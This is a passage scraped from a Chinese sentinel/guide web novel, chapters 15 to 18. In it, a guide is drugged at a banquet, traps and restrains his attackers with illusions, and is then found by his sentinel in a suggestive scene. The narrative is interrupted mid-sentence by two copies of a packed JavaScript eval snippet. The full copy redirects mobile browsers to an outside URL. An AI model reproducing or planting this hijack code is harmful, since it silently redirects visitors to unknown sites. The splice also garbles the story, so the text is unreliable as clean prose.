隗溯站在青年身侧,面色仍是冰冷漠然的模样,可握住周锐泽手臂的指尖力度,却显然表明了,他的情绪没有表面上看起来那么平静。 黑发黑眸的冷峻哨兵,指尖用力,居高临下地看着因为疼痛,而面容扭曲的军装男子,轻声道: “你准备做什么?” 就仿佛,事到如今才注意到这只小虫子一般。 周锐泽因为右手小臂近乎断裂的疼痛,弓起腰,原本极具进攻性的优越容貌之上,混杂着恐惧与愤怒的火焰,死死地盯着黑发哨兵。 他的容貌自然并不难看,而他敢于在原本变异人聚集的地盘,做出这种近乎于挑衅的举动,也绝不是出于单纯的鲁莽与愚蠢。 这边的冲突,立刻引发了其他哨向的靠近。 霍衔月瞥见了,圆脸向导秦眠与其他几名新人们,投来了担忧的目光。 但更多的哨兵,都被显而易见地挑起了怒火。 毕竟,邀请舞伴不成,这还算是平平常常,可在白塔的地界上,以普通人的身份,试图对刚刚拒绝他的青年动粗。 军装制服的男子忍着疼痛,咧开嘴笑道: “哈哈,战斗部的哨兵。原来如此,他们还真是养了一群好用的野兽。 现在你们能这么肆无忌惮,质疑军部的要员,看来,未来就算是要窝藏通缉犯,也并不是干不出来,对吧?” 众人的脸色微变,并不清楚所谓的通缉犯,究竟是怎样的情况。 但昨天巡逻队的那副阵仗,却是很多人都注意到了的。 白塔,要迎来什么变化? 一旁的武器架那边,传来几人的脚步声,伴随一某道温和有礼的男声: “我们确实比起白塔中其他的哨向,要更偏向兽形一些,或许个性上,也会受到精神体的影响更大,也说不定。” 纪戎的身后,站着其他几名战斗部的变异人。他们身上,也多少有些动物类的特征,有的是额角的鳞片,有的是腰后的硬骨龙尾。 虽然,霍衔月对那些人没有太多印象,但从隗溯的反应来看,这些人应当和纪戎挺熟的,都是战斗部的哨向。 纪戎取下脑袋上戴着的黑色鸭舌帽,金棕色短发下,不论是黑金色的非人感瞳孔,还是那双毛茸茸的兽耳,都毫不顾忌地展露在所有人的面前。 他指尖转了圈鸭舌帽,笑得明亮,站在深蓝色军装男子的面前,耸耸肩继续道: “所以,作为常年出入禁区的后遗症,有时候下手重一些,不小心咬碎了某些人的骨头,也是很正常的反应吧?” 纪戎身后的其他战斗部哨向们,发出了低低的冷笑,没有反驳他的话。 军装制服的周锐泽,微微向后挣扎了下,眼眸中多出些许的恐惧。 他虽然看不见,但也明白变异人的身边,往往有担当他们攻击手段之一的精神体,环绕身周。 而现在很可能,自己已经被那些露出尖牙的东西,所包围了。 周锐泽神情狰狞:“你们要威胁我?” 抓住他手臂的隗溯,轻描淡写地松开,垂眸,看了一眼身旁的青年。 霍衔月忽然紧张了起来,方才军装制服的男子忽而暴起,他也没有多么慌张,可现在,却仿佛有一种被什么盯上的错觉。 黑发黑眸的哨兵,偏过头,很诚恳地对周锐泽道歉道: “抱歉,是我太过冲动了,我没有要挑衅的意思。” 纪戎疑惑地皱起眉,没有看懂隗溯的意思,有些猜不透。 深蓝色军装制服的男子,终于失去了手臂上的钳制,因为疼痛而下意识踉跄,脚下不稳。 却听到头顶上方,方才向自己道歉的哨兵,声音委屈,语调一转。 隗溯深深地望着青年的浅色眼眸,仿佛满怀幽怨,伸手握住了青年的指尖,低头轻吻,一触即离,幽幽道: “只是,因为我听见,你用完了我之后,还要去开赛宴上,寻找其他在大赛中组队的哨兵,心中太难受了,才会这样吃醋。” 霍衔月震惊在了原地,都忘记了将右手抽回。 这般的说法,简直就像是,自己是什么渣男向导一般,更何况,是在那么多人的面前。 当时的那句话,他不过是随口所言,并没有准备真的去寻找什么搭档。 他抬起头,看到了其他哨兵、向导们,都露出各异的神情。 但绝大多数的哨兵,都露出一脸咬牙切齿般的扭曲模样,仿佛黑发哨兵说出了多么厚颜无耻的言语。 霍衔月望向终于站稳了脚的军装男子,觉得事情,似乎变得有些奇奇怪怪了起来。 他强忍着羞耻,咬牙轻声道: “没有……没有用完就舍弃,也不会在宴席上再找其他人,你松开我的手。” 隗溯微微笑了,很乖顺地松开手,转头对周锐泽冷声道: “就是这样,看起来你没有机会了。” 深蓝色军装制服的男子,死死地盯着哨兵,可周遭其他人的虎视眈眈,让他没有办法更近一步。 不论聚集在一起如何,归根结底,只是一群短命之人。 周锐泽退后了半步,扫了一眼旁边靶区的电子面板上,显示着的青年名字,神情阴沉,转头捂着手臂,大步离开了训练场。 纪戎身后的那些哨向,虽然有些想阻拦的,但都被他伸手挡了住,虽忿忿不满,也没能做出更进一步的举措。 “到底白塔中发生了什么?”有人低语起来。 霍衔月看了一眼四周,隐约可以望见的陌生制服身影,想起在周锐泽的记忆碎片中,看到的那张通缉令。 不论是对谁而言,白塔所在的无人区,甚至靠近禁区的边缘,都是非常偏远的所在。 什么样的人,会选择逃到这种地方? 某种莫名的预感,让他的心底有微微异样的兴奋,就连训练场中,隐藏着的那些眼睛,都变得黯然失去光彩。 他知道,自己会再见到对方的,不论那模糊面纱的后面,藏着的是谁。 模拟大赛前的开赛宴,虽是出于联谊的目的,所组织的娱乐性质活动,但终究是一群堪称战斗兵器的军人,所办下的宴会。 大厅天花板高耸,深红色的布帘,挂在一扇扇遮挡住天空的长窗户前,这座由医疗大厅,改装而成的宴会厅,显得庄重富丽。 然而,往来的参与者,却都穿着硬邦邦的制服,甚至衣摆拂动,里面装备着足以伤人的枪·支武器。 即便不论他们所佩戴的东西,所有的变异人本身,便是这座基地之中,最为凶暴的兵器,而这一点,就算对向导而言,也仍是适用的。 霍衔月第一次,穿着那套正式场合的收腰制服,被无数道视线盯着看,有些面上发烫的窘迫。 而比起这身有些不习惯的制服,单手环抱着他的腰间,引导他认真跳着舞步的身前之人,才是这份情绪的罪魁祸首。 隗溯仍穿着熟悉的战斗部制服,只披了一件更为宽松的外衣,藏住腰间的物资与武器,来融入周围环境。 霍衔月的身体大半边,贴合着黑发哨兵温暖的身躯,靠在哨兵的耳畔,压低声用私密的精神力通道,动摇道: 【我们……一定要跳舞不可吗?如果只是为了让其他人,认同下午在训练场中,那场冲突只是出于争风吃醋,也可以不用这么……】 黑发哨兵轻轻笑了,低声开口: “你看那个方向,如果我们不吸引更多人的目光,他可能就支撑不了多久了。” 霍衔月稍微偏过头,看向宴会厅的另一端,纪戎正手忙脚乱地应付着,好几名热衷于提问请教的新人哨向,后面甚至还有人在排队。 忽而,金发哨兵似乎感应到了什么,视线转来,两人目光相撞。 霍衔月看到,那双黑金色的眸子,定定地注视着自己的方向,没有撇开视线。 他看不懂,那其中有着怎样的含义。 隗溯的声音,从私密的精神力通道传来: 【往常的开赛宴,战斗部成员是不会参加的,他们不会去主动寻找伙伴。我是作为你的舞伴而来,那么,他也只好作为我们共同的朋友,才说得过去。】 霍衔月听到,共同的精神力通道中,正传来金发哨兵紧张的声音: 【他们开始潜入了。】 霍衔月的神经也紧绷了起来,他知道为了避嫌,纪戎今天一整天,最好都和自己与隗溯一同行动。 因为往常,在战斗部中,纪戎和乔麟、双子他们的关系最为密切。 因而,如果在某种情绪下,乔麟与双子被怀疑行踪可疑,那么与他们最为关系亲近的纪戎,此刻却在悠哉地参加宴会,便能成为迷惑白塔的重要证据。 霍衔月在公共的精神力通道中,小心询问道: 【今晚,乔麟他们潜入内塔研究所,真的只使用精神体潜入,而不至于涉险过深吗?】 潜入计划的方案,是今天早晨,通过精神力通道,乔麟向几人提出的。 为了在模拟大赛中,应对变异人体内剖出 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出于习惯,他仍默许着隗溯放在他腰间的那只手,直到走到休息区皮沙发前,对上纪戎莫名呆愣的目光。 霍衔月先前,一直在用精神力通道,与两人保持着沟通,竟一时忘了要开口。 从他的另一侧,猛地扑上来了一道身影,抱紧了青年的手臂,激动得结结巴巴道: “太好了,你没有受伤。今天下午训练场里,我都不敢过来搭话。” 霍衔月感到身旁的气压,似乎陡然变了,不论是面前的纪戎,还是四周总是如影随形的那些目光,都诡异地落在了这道身影上。 抱住他手臂的,是同为新人向导的,圆脸青年秦眠。 从某种角度上来说,他多少明白,变异人之间,会把哨兵与向导,当作一对匹配的剑与鞘。 而同为向导的秦眠与他,是不可能组队,也不会碍着其他人,邀请向导组队的。 可是即便如此,从周遭的气压来看,霍衔月又觉得,其他那些变异人们,似乎不完全是这样看待这件事的。 他微微点头,回答圆脸青年道:“我没事,你不用担心的。” 自秦眠开了这个口子,其他早就好奇心满满的同期新人们,也都涌了上去,虽然没法直接询问,青年与战斗部之间的关系,但旁敲侧击一下,还是很令人亢奋的。 隗溯抬起空了的那只手,默默垂眸,又抬头,看到了纪戎张口、欲言又止的模样,无声自嘲地笑了。 不论是那些,对青年觊觎的目光,还是对方的追求者哨兵,或是其他,他其实都明白,自己没有阻止的立场与资格。 可他只会祈求,自己还能对青年来说,更多几分用处,还有被利用的机会。 就算他所拥有的时间,已经不太长了。 被哨兵与向导团团围住,终于告一段落的霍衔月,捏着一杯从侍者盘中取下的冰饮,靠在皮沙发旁,稍作休整。 他抬起头,看到自己被人流冲开,距离纪戎所在的地方,已经隔了一段距离。 隗溯的身影,似乎从人群中暂时没有看见,不知去了哪里。 不过,他倒并不特别担忧,因为精神力通道仍然畅通无阻,他很快就可以联系上对方。 霍衔月状似发呆般,盯着手中的饮料,实则在思考着,方才在宴会厅中,使用精神力触手探知到的那些情报。 在宴会上变异人众多,要收集巡逻队和军部相关的信息,比一号训练场中更方便。 而从他广撒网中,探知到的人群表层记忆碎片来看,这一次,军部在二号白塔中的驻扎,远比表面的一次地毯式巡逻,更为深入。 看起来,那张所谓通缉令中逃跑的“某人”,比他想象中,对联邦军部而言更为重要。 又或者说是,那个人偷取的某件东西,才是真正重要的部分。 忽而,霍衔月感到自己的口中,某种异样的精神力波动,令他的脑海之中,猛地炸响了警铃。 他掩饰住自己神情的动摇,低头望向手中的玻璃杯。 这杯冰饮,不对劲? 就算他再没有变异人的常识,可精神力敏锐的感知,让他清晰无比地探查出,自己身体之中的异样反应。 如果,对于哨兵与向导而言,为了永久匹配而产生的结合热,可以说是一种堪称变异人发情期一般的体验。 那么,用通俗的话语来说,他的杯子里被下的这种,能够激发情热的药物,便能称得上是向导专用的spring药了。 16. 第 16 章 是谁给自己下的药? 或者说,更详细地说,下这种药的目的,是真的希望他在情热期,与什么哨兵进行永久匹配,还是说,只是单纯想要折腾他? 思考只在一瞬之间,霍衔月知道,在附近的某处,一定有人在盯着自己。 他并不清楚,是谁在做这种小动作。 但这种下三滥的手段,让霍衔月想起当初,一号训练场旁,那三名趁着准备室内空空荡荡,堵住自己的哨兵。 一样的自作聪明,一样的错误判断。 就好像认定了,自己身为辅助哨兵的向导,一定会害怕更为强大的暴力,就算遇到了这种意外,也会咬牙吞吃苦果。 霍衔月觉得有些好笑,这还真是两辈子第一次,有人想把他当成软柿子捏。 这种新奇的感觉,让他一口便将那点冰饮,吞下了喉咙。 只是喝下那么小半口,他知道自己的身体不会有事,最多是有点醉,面色微微泛红,四肢有些软绵。 而真正诱发结合热的药物成分,他能够通过精神力屏障,人为地阻挡其效力。 也就是,只是显得有些情热的模样而已。 霍衔月微垂下眼帘,做出似乎身体有所不适的模样,向后靠去。 往来人群拥挤的宴会厅中,他不小心撞上了一道身影,从身后,传来惊讶的问询声: “唔,你……你的脸好像有点红。” 浅色眸子的青年,只迷蒙地偏过头,却仿佛被其他人的视线烫到,惊慌地低语了一声“对不起”,就向着大厅边缘匆匆而去。 周遭,陆续有几人,也注意到了青年异样的情态举止,虽然有所怀疑,但又无法确定。 而不等这片骚动平息,众人已然寻找不到青年的身影了。 在这座由医疗大厅,改装而成的宴会厅外侧,离开挂着深红色布帘的正厅,冷清安静的长廊之上,仍是铺着灰绿色地砖的朴素模样。 霍衔月避开人群,靠在冰凉的墙面之上,踉跄着、向这栋建筑物的更深处前行。 在这一连串的演戏过程中,他知道,该看到这一切的人,已经看到了。 而脑海中的精神力通道,也一直保持着畅通,他相信自己只是消失一小会儿,并不会引发更多的混乱。 这栋建筑物的底层,虽然被当作会场征用了,但二、三、四层,仍然还保持着原本的构造。 从粗略的精神力探知来看,二楼空置着许多的医用病床,电力虽然接通了,但无人看守。 如果“自己”真的中了药,在神志朦胧之际,慌忙离开哨兵、向导聚集的宴会厅,这时候,要跨越半个白塔基地、赶回宿舍,一定不现实。 那么,“他”最有可能做出的举动,就是逃离宴会厅,寻找一个无人的僻静之处,强撑过这波热潮,再作后续的打算。 青年发丝下的脖颈与耳尖,也开始因为扩散开的药力,而沁出细小的汗珠,晕开明显不正常的轻红。 他左右匆忙看了一眼,便发现了前面无人的楼梯口,旁边的金属标示牌上,显示了二楼是公共病房区域。 在这个时间点,楼下在办宴会,楼上的公共病房区域,大概率是空置的…… 而就算有些什么人,现在的“他”,应当也没有多余的心力,能够去在意了。 青年抱紧了手臂,强压住慌乱的情绪,笔直地向楼梯口而去。 穿过略显昏暗的楼梯,他跌跌撞撞的脚步声,出现在了敞亮的病房区走廊上。 一眼望去,所有的房门内,都暗着灯,显然是没有人守门。 他只犹豫了几秒,就走到长廊尽头,找了某间房号倒数的空病房,拉动门把手。 看起来非常凑巧和幸运,病房门并没有上锁。 霍衔月终于成功来到了舞台中央——一间空空荡荡的公共病房。 病房很大,由浅蓝色的布帘,隔成了四个区域,粗略看去,至少有十余张病床,最里侧的右边,似乎有一间带门的洗漱室。 他伸手关上房门,随之,便遮挡住了走廊透入的大部分光线,只能通过门上,小窗口的布帘外,透出些许的光芒。 开灯太显眼了,霍衔月并不准备做如此愚蠢的布置,他相信“对方”能凭借这些细微的动静,准确地定位房间的所在。 要是没有这点本事,对方又是怎么能在人群聚集的宴会厅中,如此精准地将下了药的玻璃杯,递送到他手上的? 至少,参与行动的人数,不止有两人。 霍衔月走到病房尽头的窗边,就着窗帘外,微弱的月光,找了一把舒适的折叠椅,避开窗户的视野区域而坐。 他闭上双眼,放开自己的精神力感知触手,向着房间外,走廊深处蔓延。 在这片公共病房区域,是没有安装监控探头的。楼下宴会厅的入口处,倒是有安装探头,但那部分的数据,是连接着白塔总中枢的,不归这里管辖。 为了避免被人发现,出于保险,霍衔月的精神力探知,绕过了宴会厅中熙熙攘攘的哨兵、向导们,毕竟他们作为变异人,对精神力总归更为敏感些。 而他的目的,不止是探知,还有构建虚拟的幻觉场景。 他会让所有踏入建筑物二层的人,看到“最真实的噩梦”。 此时此刻。 在热闹的宴会大厅外,一群陌生的制服,出现在了门厅处。 迎宾的守卫哨兵,见到了那些深蓝色的军装制服,微微愣住,有些反应不过来,对方的身份。 为首的军装制服男子,从衣袋中取出一张ID卡,在哨兵的面前,冷冷挥了挥,才开口道: “军部例行巡查。” 守卫的哨兵,看了眼军装制服的人数,又终于认出了对方胸前的徽章,知道近期白塔内,情势比较特殊,便只得点头放行。 不过,他的视线落在这群人的最后。 一名帽檐压得低低的高挑男子,似乎心不在焉地,在把玩着指尖的某样东西。 在察觉到对方的目光抬起前,哨兵收回了自己的视线。 懒懒地缀在众人身后,周锐泽戴着军用白手套的左手,反复将一小团纸条,捏开,又卷起。 他有点轻微的洁癖,但眼前的这团来路不明,忽而从半空中蹦来的纸条,却让他兴致勃勃地捏了又捏。 在那上面,写着宴会厅二楼的某个房间号。 周锐泽本来都没准备,晚上再来参加这场宴席的。只不过,被其他人拖着来了,又收到了不知什么人送来的这个小玩意。 没想到,在那群野兽的内部,也还有许多弯弯绕呢。 他的另一只手,握在外衣口袋里,那把装满了子弹的漆黑手·枪上,摩挲着冰冷的金属枪身。 向其他人打了声招呼,周锐泽没有进宴会厅,径直向长廊尽头的楼梯口而去。 军靴的脚步声,踏在冰冷坚硬的阶梯之上,他感到自己的背后,似乎隐隐因为紧张,而颤栗与发抖。 就算口袋里握着手·枪,楼下便是自己的其他同僚,可扯上了变异人的那些事,无异于刀尖上跳舞。 迎接他在二楼房门里的,究竟是死亡的威胁,还是其他更有趣的环节,没有人能向他做出保证。 周锐泽将纸条向后一丢,压低帽檐,站在二层的那间房门口,右手仍抚在手枪上,抬腿猛地踹开房门。 数分钟后,一道黑乎乎的身影,从二层另一侧的消防楼梯,如猫儿般悄然潜行而上。 这道身影似乎拥有极敏锐的五感,距离很远,便听出了二层的某间房间内,隐隐的挣扎与呜咽的声音,压抑而引人浮想联翩。 他微皱眉,举起手中的隐藏型通讯器,压低声音飞快开口道: “他进去了,但有点奇怪,太快了……” 那道身影还未将话语说完,就猛然瞪大了双眼,仿佛看到了绝对无法置信的场景,浑身僵硬颤抖着,手中的通讯器自然坠落在地。 通讯器中,另一头传来的微弱询问声,还在不断重复。 而走廊拐角的后面,霍衔月悠悠靠在墙面上,从一开始,好像就站在那边一般。 他走上前几步,轻轻一推那道身影,看起来没有反应了。 霍衔月也没客气,拽住对方的领口,像拖棺材一样,在走廊干净的地面上,单手将人横着拖回了那间病房。 关上门,做一些必要的操作。 半分钟后,一道陌生的高大哨兵身影,穿着普通守卫的制服,从同一道消防楼梯,警觉地迅速跑上了二层。 他在上个人打通讯的位置,左右环视了一周,没有看到任何可疑的对象。 然而,同伴失去联系的时候,确实是待在这层楼,监视着那间病房的情形。 忽而,他似乎突兀地注意到,地面上落了什么东西。 他低下头,看到在自己所站位置的前面,是一枚掉落的隐藏型通讯器。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14960283|161038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>怎么会,方才他竟然没注意到这么明显的东西? 他弯腰捡起通讯器,里面隐约传来极微弱的杂音,有谁仿佛在说话。 紧皱起眉心,他偏过头,凑近仔细去听,那通讯器之中,断断续续传来一道呼救的声音。 是谁?是对方失去联络后,发出的信号? 他屏气凝神,终于听清了通讯器里,传来的那道莫名熟悉的声音: “救……救命……有怪物……快逃啊!” 他的头脑如被重击,嗡鸣作响,几乎要握不住通讯器。 剧烈的恐惧中,他听清了,那是自己呼救的声音。 两步之遥的前方,霍衔月轻轻叹了一口气,不无烦恼地心想,这哨兵的体格比先前的要大,自己搬运起来更麻烦了。 他从僵直地瞪大了双眼,丝毫无法察觉到他身影的哨兵面前走过,一脚踹倒了那僵硬的身躯,拽着对方的后领口,勉为其难地拖走了。 回到那间仍可以容纳很多人的病房,霍衔月将第二名哨兵,搬上靠内的一张病床,和他同样失去意识的同伴,并列在一起。 他取出从角落壁橱翻出的东西,将第二名哨兵,也结结实实地锁在病床之上。 那是一套变异人专用的束缚用具,就算是再强悍的哨兵,只要科学捆绑,就能暂时失去行动能力,只能睁大双眼躺在床上,像条离开水的游鱼那般,连咬舌自尽都做不到。 这里不愧是白塔,对应的设施很完善,他给两人每人搞了一套。 霍衔月又将视线,瞥向病房的最角落。 在一架固定在地面的、特质病床的床脚,背对着他,跪在地面的高挑军装男子,不知梦里到底见着了什么,虽然双眼、口部都被束缚住,仍在喉口发出呜咽的压抑声响。 对方梦里,应该只有自己构造的折磨和酷刑吧? 可为什么,明明对方双手和脖颈都被拴在床脚,身体却仿佛十分难耐般,用力蹭在前面的冰冷金属杆上? 霍衔月有点不懂对方的脑回路,但这种事情并不重要,他真正想要审问的对象,只是那两名哨兵而已。 他布置完束缚用具,感到自己有些运动过度了。 原本便受到了一些药物的影响,又搬了好几具半死不活的尸,此时药效好像来到了全身,让他懒洋洋的有些不想动弹。 可是,他也并不能肯定,接下来就不会有下一个人,出现在这座舞台上。 根据他的预估,主谋还没有落网。这两名哨兵只是跑腿干事的人,而有过一面之缘的军部周锐泽,则是两名哨兵钓来的“主角”,为了专程来偶遇他这个软柿子。 霍衔月并不觉得,主谋就一定会亲身前来,但他仍然需要做点准备。 而在这期间,最好能把那两名哨兵的精神图景中,能榨取的信息,都彻底打包带走。 当然,也要埋下两颗自己的精神力种子。 他有预感,很快,这些种子就能派上用场的。 霍衔月慢慢地,靠坐在一架窗边的病床前,感到自己的呼吸,好像有些过热了。 他伸出精神力触手,一边完成着必要的事项,一边向病房外延伸,再次构建起感知的幻觉屏障,让一切异常的声音与景象,都无法被踏入之人察觉。 隐隐约约的迷糊间,他似乎感知到,二楼的楼梯上,再次传来了某种脚步的声响。 很焦急,丝毫不掩饰自己的脚步声,简直是粗心大意。 霍衔月仿佛在脑海中的某处,听到了那个人的声音,在朦朦胧胧地喊着自己的名字。 又是哪条鱼儿,要跳入他的网了? 不知怎的,霍衔月莫名有种安心的感觉,虽然身体有些发烧,但还是强撑起精神,向外延伸出精神力。 他“看”到了那道身影,从楼梯口冲了出来,四处张望了几眼,虽然犹疑,却仍一扇一扇门推开,寻了过去。 最后,黑发黑眸的哨兵,右手握在了走廊尽头、那扇乍一看空无一人的病房门把上。 霍衔月抬眸,隔着眼前朦胧的水光,隔着仍然有效的精神力幻觉屏障,与推开房门的哨兵,隔空对视着。 他看见了隗溯的眼眸中,空茫、无法寻找到任何人的痛苦与焦急,他知道对方看不见自己,也看不见房间中的任何异样。 真傻的鱼,明明这里不是他应该游荡的水池,却还是要挤入其中,撞得头破血流。 自己是这样,这个人也是这样。 17. 第 17 章 空空荡荡昏暗病房中。 从隗溯的双眼看去,里面干净整洁,所有的医疗用具,都摆放在它们该在的位置,没有被撞乱或挪动过。 可他清楚地明白,在这栋建筑物的某一层,一定在发生着什么。 方才在宴会厅中,他忽而被那名圆脸年轻向导喊住,来到尾门的位置,对方焦急地告诉他,在回去拿东西的途中,对方偶然听到了一段对话。 圆脸向导向他复述说,在路上偶然听见,有几名身穿深蓝色制服的陌生军部之人,在低语些什么不好的计划。 从那些人隐晦的话语中,圆脸向导猜测,可能和一号训练场中,发生的那场冲突有关。 隗溯听完那番话,便立刻想到了那名挑起冲突的军装男子。 从对方的模样来看,显然,对方不像是会轻易忘了这回事,抛之于脑后的那种性格。 尽管隗溯并不相信,如对方这样的普通人,能对青年产生什么威胁。 然而,当他回到宴会厅,发现不知何时,青年的身影从人群之间消失,而在他询问了数人之后,得到了对方可能身体不适的隐约猜测。 霍衔月与他之间的精神力通道中,似乎没有传来任何异样的消息,一切仍然很平静。 可隗溯的心底,却产生了浓浓的不安感,就好像有什么,正在失去控制。 最后有人看见青年,是在一楼的楼梯口。 就算只是些许的可能性,隗溯也没办法视而不见,因此,他一个病房一个病房搜了过去。 整条二层的走廊,都静悄悄的,看起来空无一人。 可内心越来越强的违和感,让他抛开了原本的顾忌,在精神力通道中不断地呼唤着,青年的名字。 如果对方真的能听见他的声音,没有理由,会得不到任何的回应。 隗溯抱着最后的希望,推开了走廊尽头,最后一间,没有搜查过的空病房门。 而隔着精神力构成的幻觉屏障,霍衔月靠在一架病床前,水雾朦胧的浅色眸子,怔怔地望着眼前的身影。 如果只是一名闯入者,他完全可以维持着完美的幻觉场景,就像不久前,对待那名踢开房门的军部周锐泽那样—— 用亦真亦幻的梦境,彻底卸下对方的防备,在到达最高等级的恐惧之时,一口气控制住对方。 可是,隗溯为什么会出现在这里……他也要为对方构造幻境吗? 就算霍衔月的头脑,现在感觉迷迷糊糊的,但他仍然能反应过来,隗溯之所以赶来得如此快,一定有什么别的理由。 如果,只是自己从宴会厅离开了十多分钟,那么,对方没有理由,会显得如此的焦急和害怕。 就仿佛,对方有别的理由,知道了这边可能会发生的意外。 霍衔月低低笑了声,为自己的这些猜测,感到有些无奈的好笑。 从什么时候开始,他开始在乎对方的那些细微想法,变得一惊一乍了?他本没有必要,去思考这些事情,只要潜入哨兵的精神图景,就能知道事实如何。 黑发哨兵警觉的脚步声,慢慢地,在病房中央的走道上,越来越近。 就算隗溯看不到任何人的身影,可是,即便是有万分之一的可能,在这里能找出些什么痕迹,他也不会放过任何一个角落。 微微颤抖的声音,在两人私密的精神力通道中,不断地呼唤着青年的名字。 当他走到病房尽头,指尖抓在那牢牢掩着的窗帘上,却没能在病房中,找出任何一丝异样的蛛丝马迹。 黑发哨兵的脊背僵硬,紧紧抓着窗帘,低下头。 霍衔月望着那道身影,虽然在他的计划中,并没有考虑进隗溯的部分,他也完全可以制造幻境,诱导对方快些离开这里。 可他在这一刻,竟仿佛看见了,上辈子,在他最终分手、离开白塔前,哨兵那越发沉默,近乎于凝固的那般情绪。 那究竟代表了什么,霍衔月并不清楚。 他只知道,自己的精神力屏障,随着骤然的松懈,将真实的一角,展露在了闯入之人的面前。 自己终究还是心软了。 而此时此刻的宴会大厅内。 坐在人群之中,隐约瞥见了黑发哨兵匆忙身影的纪戎,终于从周遭的气氛中,察觉到,有什么事发生了。 方才,宴会的外沿,看到的那几名陌生的军部制服,就让他有种不太舒服的感觉。 而现在,纪戎终于确信了,不知何时离开大厅的霍衔月、与匆匆离去的隗溯,一定遇到了什么问题。 虽然在他的脑海之中,和乔麟他们三人的精神力通道,仍然还保持着通畅,也就说明了,青年就算遇到了麻烦,也一定不会危及性命。 可是,纪戎却没法再欺骗自己,对两人的消失踪影,继续视而不见下去了。 更何况,他胸口某处的私心,也令他不愿再继续干等下去。 纪戎迅速站起身来,在人群中穿梭,向隗溯消失的方向而去。 忽然,不远处,猛地传来一记重重的开门声。 一阵沉沉的军靴脚步声,从宴会厅的门口方向,迅速涌入,伴随着高喝声: “根据目击报告,有很大可能性,联邦军部的重要通缉犯,正逃往这个方向。因此,这栋建筑物现在被封锁了,希望各位配合调查,不要四处走动。” 突如其来的变故,立刻引起了宴会厅内,一片惊疑的动静和反应。 先前就知道,军部此次驻扎进白塔,是有什么重要的任务,那次大规模派出巡逻队,也是相似的原因。 可是,谁也没有想到,还真的会有什么通缉犯,逃进了白塔之内,对方竟然还会出现在这附近。 在这片到处是变异人的地方,什么样的通缉犯,能逃过那么多双眼睛,还引得军部如此大张旗鼓,都无法捉住? 纪戎的心跳,变快了起来,站在宴会厅的边缘,却被这堪称是闹剧的变故,堵住了前路。 他瞥了一眼迅速将宴会厅包围,并开始一一查验身份的军部制服们,思考着脱身的机会。 而在远离喧闹宴会厅的二层。 仍然空旷寂静的走道尽头,那间虚掩着的病房门内。 隗溯站在窗边,骤然看见,在浅蓝色的医用布帘后之后,隐隐有一道身影,借着朦胧月光的映照,仿佛一直安安静静地待在那边。 他对那身影的轮廓,是如此熟悉,而绝不可能在这种情况下,误认为别的什么人。 黑发哨兵大步向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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正当他思绪乱飘着,开始考虑,要做点什么来证明,自己没有事情的时候—— 黑发哨兵伸出手,一把抱住了他的腰间,低头就仿佛公主抱的那种姿势般,将他乍然腾空抱起。 左右看了眼病房的格局,哨兵先仔细反锁了门,随后来到另一角的洗漱室前,维持着这个动作,单手开了门。 将青年放在垫了一次性毛巾的洗手台上,哨兵打开顶灯,关上不透光的洗漱室门。 骤然被强光照射,霍衔月似乎清醒了一点,看着面前沉默不语的黑发哨兵,脊背之后,产生了些许的害怕与莫名的熟悉。 到底会发生什么,他不想去思考,却又仿佛早已知道结局。 “你……为什么,要这样看着我?”青年眸光闪烁道,避开了对方的目光,盯住了里侧干燥整洁的淋雨室玻璃。 隗溯抬起手,右手碰在青年的额间,被那热度、烫得轻轻蜷起了指尖。 他脱下战斗部制服外的宽松外衣,放于一旁,腰间冰冷的枪·械武器,反射着洗漱室顶部的白色灯光。 黑发黑眸的冷峻哨兵,直直地注视着青年的目光,不令对方逃离,轻声微哑道: “硬撑会对你的身体有损。不要担心,我不会被你诱发结合热,也不会做出什么强硬之事。 让我用别的方法帮你疏解,你随时可以停止我,好吗?” 18. 第 18 章 洗漱室中,明亮的白色灯光,从上方照射而下。 霍衔月背靠在冰冷的镜面之上,就算扭过头,也能从镜子的另一半,看到身前所正在发生的事情。 他清楚地明白,就算被自己构造的幻境所困,在那扇隔音并不太好的洗漱室门外,也正待着三名其他人,自己本不该放松警惕。 可被那双灼热的手,扣住手腕和腰侧,衣衫凌乱地半靠在洗手台上,自己却压根升不起戒备的心思来。 黑发哨兵的牙齿,轻轻触碰在他的肌肤之上,熟悉的温度,仿佛一瞬间点燃了体内的火焰,让霍衔月昏昏沉沉的意识,化为一团轻飘的雾气。 这个人曾与他太过亲密无间,他见过隗溯真正失控的模样。 而无数静谧的夜晚,他纵容对方得寸进尺的举动,也愿意满足对方所有的需求,不论有多么令人羞耻。 可这一世,本该是不同的。 自己从没有想过,仍旧与身为哨兵的隗溯,产生更多的纠葛。 霍衔月被轻轻咬了一下,刺·激得身子微微弓起,浅色眸子的眼尾,染上更浓的红晕,仿佛被身前之人,揉·乱了幽秘的那池潭水。 他伸手按在黑发哨兵的肩膀,有些退缩地低声呢喃,声音碎得不成样子: “还,还是不要了……我自己一个人,可以做到的。” 隗溯的指尖,更用力地扣紧了那截手腕,轻舔了下唇,音调仿佛冰冷,没有沾染上一丝欲·色: “硬撑下去的那种’做到’吗,在我来之前,你做了什么事?” 霍衔月被黑发哨兵冷冰的话语,微微刺痛,下意识地抓住了肩头的那片深色制服布料,尴尬地解释道: “我……在宴会厅里,就意识到了饮料中的问题。” 隗溯吞咽的动作稍一顿住,神色冷凝,有几分含糊的话音,鼓励地继续应了一声。 霍衔月垂眸,清楚地明白了,自己没法把这件事糊弄过去。 他带着几分破罐子破摔的念头,小心地说明道: “我怀疑,这和上次……上次休息室里的袭击,是一伙人做的,所以,唔、我没有把饮料全部吐出来,想找出对方的真面目。” 